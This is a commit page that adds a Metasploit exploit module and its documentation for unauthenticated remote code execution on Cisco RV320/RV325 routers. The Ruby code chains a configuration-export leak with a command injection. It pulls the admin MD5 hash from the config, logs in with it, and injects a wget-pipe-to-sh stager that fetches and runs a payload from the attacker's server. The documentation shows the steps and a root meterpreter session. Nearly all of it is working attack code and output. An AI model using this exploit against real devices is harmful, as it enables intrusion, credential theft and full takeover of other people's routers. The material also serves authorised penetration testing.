Land #11482, RV320 Unauthenticated RCE
parent
29515ab3c7
commit
2b22a5e9a3
|
@ -0,0 +1,148 @@
|
|||
## Intro
|
||||
This module automatically exploits two vulnerabilities to create an effectively
|
||||
unauthenticated remote code execution on RV320 and RV325 routers.
|
||||
|
||||
The module will perform the following steps:
|
||||
|
||||
First the module will download the configuration. Then it will extract the MD5
|
||||
password hash for the web interface user. The MD5 password hash is directly
|
||||
accepted during login instead of the plain text password. With the MD5 hash the
|
||||
module will authenticate to the web interface of the router and get a valid
|
||||
authentication cookie.
|
||||
|
||||
The second step is using the authentication cookie to
|
||||
send an authenticated request to the web interface which exploits a command
|
||||
injection vulnerability. The injection is limited to ~50 characters. Therefore,
|
||||
the module uses a web server to stage a shell payload for the MIPS64
|
||||
architecture of the router. Depending on the payload the module will result in
|
||||
a shell or meterpreter session.
|
||||
|
||||
## Vulnerable Application:
|
||||
|
||||
Cisco Small Business Routers RV320 and RV325 with firmware versions between
|
||||
1.4.2.15 and 14.2.20.
|
||||
|
||||
Link to vulnerable Firmware Version:
|
||||
https://software.cisco.com/download/home/284005929/type/282465789/release/1.4.2.20?i=!pp
|
||||
|
||||
|
||||
Links to Advisories:
|
||||
Part 1 of the exploit (configuration download):
|
||||
https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
|
||||
|
||||
Part 2 of the exploit (command injection in web interface):
|
||||
https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection
|
||||
|
||||
Advisories by vendor:
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject
|
||||
|
||||
## Options
|
||||
|
||||
**RHOSTS**
|
||||
Configure the remote vulnerable system.
|
||||
|
||||
**RPORT**
|
||||
Configure the TCP port of the HTTP/HTTPS management web interface.
|
||||
|
||||
**USE_SSL**
|
||||
This flag controls whether the remote management web interface is accessible
|
||||
via HTTPS or not. Should be false for HTTP and true for HTTPS.
|
||||
|
||||
**PAYLOAD**
|
||||
Configure the Metasploit payload that you want to stage. Must be for MIPS64
|
||||
arch. Set payload Options accordingly.
|
||||
|
||||
**SRVHOST**
|
||||
The module stages the payload via a web server. This is the binding interface
|
||||
IP. Default can be set to 0.0.0.0.
|
||||
|
||||
**HTTPDelay**
|
||||
This configures how long the module should wait for the incoming HTTP
|
||||
connection to the HTTP stager.
|
||||
|
||||
## Verification Steps:
|
||||
|
||||
1. Have exploitable RV320 or RV325 router (exampe IP: 192.168.1.1):
|
||||
2. Start `msfconsole`:
|
||||
3. Do: ```use exploit/linux/http/cisco_rv32x_rce```
|
||||
4. Do: ```set RHOSTS 192.168.1.1```
|
||||
5. Do: ```set payload linux/mips64/meterpreter_reverse_tcp``` (Set the MIPS64 payload you want to use)
|
||||
6. Do: ```set LHOST 192.168.1.2``` (Setting your own IP here, example: 192.168.1.2)
|
||||
7. Do: ```set RPORT 8007``` (Set the remote Port on which the router web interface is accessible)
|
||||
8. Do: ```run```
|
||||
9. Gives you a privileged (uid=0) shell or in the example a meterpreter session.
|
||||
|
||||
|
||||
## Scenario
|
||||
|
||||
Exploiting a vulnerable RV320 router with publicly accessible HTTPS web
|
||||
interface on TCP port 443:
|
||||
```
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > run
|
||||
```
|
||||
|
||||
Demo example output for the module:
|
||||
```
|
||||
msf5 > use exploit/linux/http/cisco_rv32x_rce
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/cisco_rv32x_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
HTTPDELAY 15 yes Time that the HTTP Server will wait for the payload request
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
RPORT 8007 yes The target port (TCP)
|
||||
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
URIPATH / yes The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
|
||||
USE_SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 LINUX MIPS64
|
||||
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set RHOSTS 192.168.1.1
|
||||
RHOSTS => 192.168.1.1
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set payload linux/mips64/meterpreter_reverse_tcp
|
||||
payload => linux/mips64/meterpreter_reverse_tcp
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set LHOST 192.168.1.2
|
||||
LHOST => 192.168.1.2
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set RPORT 443
|
||||
RPORT => 443
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > set USE_SSL true
|
||||
USE_SSL => true
|
||||
msf5 exploit(linux/http/cisco_rv32x_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.1.2:4444
|
||||
[*] Using URL: http://0.0.0.0:8080/
|
||||
[*] Local IP: http://192.168.1.2:8080/
|
||||
[*] Server started.
|
||||
[*] Downloading configuration from 192.168.1.1:443
|
||||
[*] Using SSL connection to router.
|
||||
[*] Successfully downloaded config
|
||||
[*] Got MD5-Hash: dfead10390e560aea745ccba53e044ed
|
||||
[*] Loging in as user cisco using password hash.
|
||||
[*] Using default auth_key 1964300002
|
||||
[*] Successfully logged in as user cisco.
|
||||
[*] Got cookies: mlap=RGVmYXVsdDE6Ojo6Y2lzY28=;
|
||||
[*] Sending payload. Staging via http://192.168.1.2:8080/.
|
||||
[*] 192.168.1.1:443 - Payload request received: /
|
||||
[*] Waiting for stager connection timed out. Try increasing the delay.
|
||||
[*] Meterpreter session 1 opened (192.168.1.2:4444 -> 192.168.1.1:48580) at 2019-03-14 10:00:00 +0100
|
||||
[*] Server stopped.
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=99, euid=0, egid=99
|
||||
```
|
|
@ -0,0 +1,207 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Cisco RV320 and RV325 Unauthenticated Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This exploit module combines an information disclosure (CVE-2019-1653)
|
||||
and a command injection vulnerability (CVE-2019-1652) together to gain
|
||||
unauthenticated remote code execution on Cisco RV320 and RV325 small business
|
||||
routers. Can be exploited via the WAN interface of the router. Either via HTTPS
|
||||
on port 443 or HTTP on port 8007 on some older firmware versions.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'RedTeam Pentesting GmbH', # Discovery, Metasploit
|
||||
'Philip Huppert', # Discovery
|
||||
'Benjamin Grap' # Metasploit
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE','2019-1653' ],
|
||||
[ 'CVE','2019-1652' ],
|
||||
[ 'EDB','46243' ],
|
||||
[ 'BID','106728' ],
|
||||
[ 'BID','106732' ],
|
||||
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export' ],
|
||||
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection' ]
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'LINUX MIPS64',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS64
|
||||
}
|
||||
]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => ""
|
||||
},
|
||||
'CmdStagerFlavor' => [ 'bourne' ],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => "Sep 9 2018",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8007), # port of Cisco webinterface
|
||||
OptString.new('URIPATH', [true, 'The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)', '/']),
|
||||
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 15]),
|
||||
OptBool.new('USE_SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]) # Don't use 'SSL' option to prevent HttpServer from picking this up.
|
||||
])
|
||||
deregister_options('SSL') # prevent SSL in HttpServer and resulting payload requests since the injected wget command will not work with '--no-check-certificate' option.
|
||||
deregister_options('SSLCert') # not required since stager only uses HTTP.
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
# use generated payload, we don't have to do anything here
|
||||
end
|
||||
|
||||
def autofilter
|
||||
true
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
print_status("#{peer} - Payload request received: #{req.uri}")
|
||||
@cmdstager = generate_cmdstager().join(';')
|
||||
send_response(cli, "#{@cmdstager}")
|
||||
end
|
||||
|
||||
def primer
|
||||
payload_url = get_uri
|
||||
print_status("Downloading configuration from #{peer}")
|
||||
if(datastore['USE_SSL'])
|
||||
print_status("Using SSL connection to router.")
|
||||
end
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri("cgi-bin","config.exp"),
|
||||
'SSL' => datastore['USE_SSL']
|
||||
})
|
||||
unless res
|
||||
vprint_error('Connection failed.')
|
||||
return nil
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
vprint_error('Could not download config. Aborting.')
|
||||
return nil
|
||||
end
|
||||
|
||||
print_status("Successfully downloaded config")
|
||||
username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]
|
||||
pass = res.body.match(/^PASSWD=(\h+)/)[1]
|
||||
authkey = "1964300002"
|
||||
print_status("Got MD5-Hash: #{pass}")
|
||||
print_status("Loging in as user #{username} using password hash.")
|
||||
print_status("Using default auth_key #{authkey}")
|
||||
res2 = send_request_cgi({
|
||||
'uri' => normalize_uri("cgi-bin","userLogin.cgi"),
|
||||
'SSL' => datastore['USE_SSL'],
|
||||
'method' => 'POST',
|
||||
'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch¤t_password=&new_password=&re_new_password="
|
||||
})
|
||||
|
||||
unless res
|
||||
vprint_error('Connection failed during login. Aborting.')
|
||||
return nil
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
vprint_error('Login failed with downloaded credentials. Aborting.')
|
||||
return nil
|
||||
end
|
||||
|
||||
#Extract authentication cookies
|
||||
cookies = res2.get_cookies()
|
||||
print_status("Successfully logged in as user #{username}.")
|
||||
print_status("Got cookies: #{cookies}")
|
||||
print_status("Sending payload. Staging via #{payload_url}.")
|
||||
#Build staging command
|
||||
command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
|
||||
if(command_string.length <= 63)
|
||||
print_status("Staging command length looks good. Sending exploit!")
|
||||
else
|
||||
vprint_error("Warning: Staging command length probably too long. Trying anyway...")
|
||||
end
|
||||
|
||||
res3 = send_request_cgi({
|
||||
'uri' => normalize_uri("certificate_handle2.htm"),
|
||||
'SSL' => datastore['USE_SSL'],
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'vars_get' => {
|
||||
'type' => '4',
|
||||
},
|
||||
'vars_post' => {
|
||||
'page' => 'self_generator.htm',
|
||||
'totalRules' => '1',
|
||||
'OpenVPNRules' => '30',
|
||||
'submitStatus' => '1',
|
||||
'log_ch' => '1',
|
||||
'type' => '4',
|
||||
'Country' => 'A',
|
||||
'state' => 'A',
|
||||
'locality' => 'A',
|
||||
'organization' => 'A',
|
||||
'organization_unit' => 'A',
|
||||
'email' => 'any@example.com',
|
||||
'KeySize' => '512',
|
||||
'KeyLength' => '1024',
|
||||
'valid_days' => '30',
|
||||
'SelectSubject_c' => '1',
|
||||
'SelectSubject_s' => '1'
|
||||
},
|
||||
'data' => "common_name=#{command_string}"
|
||||
})
|
||||
unless res3
|
||||
vprint_error('Connection failed while sending command. Aborting.')
|
||||
return nil
|
||||
end
|
||||
|
||||
unless res3.code == 200
|
||||
vprint_error('Sending command not successful.')
|
||||
return nil
|
||||
end
|
||||
print_status("Sending payload timed out. Waiting for stager to connect...")
|
||||
end
|
||||
|
||||
def check
|
||||
#Check if device is vulnerable by downloading the config
|
||||
res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
|
||||
|
||||
unless res
|
||||
vprint_error('Connection failed.')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
unless res.code == 200
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
unless res.body =~ /PASSWD/
|
||||
return CheckCode::Detected
|
||||
end
|
||||
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Main function.
|
||||
# Setting delay for the Stager.
|
||||
Timeout.timeout(datastore['HTTPDELAY']) {super}
|
||||
rescue Timeout::Error
|
||||
print_status("Waiting for stager connection timed out. Try increasing the delay.")
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue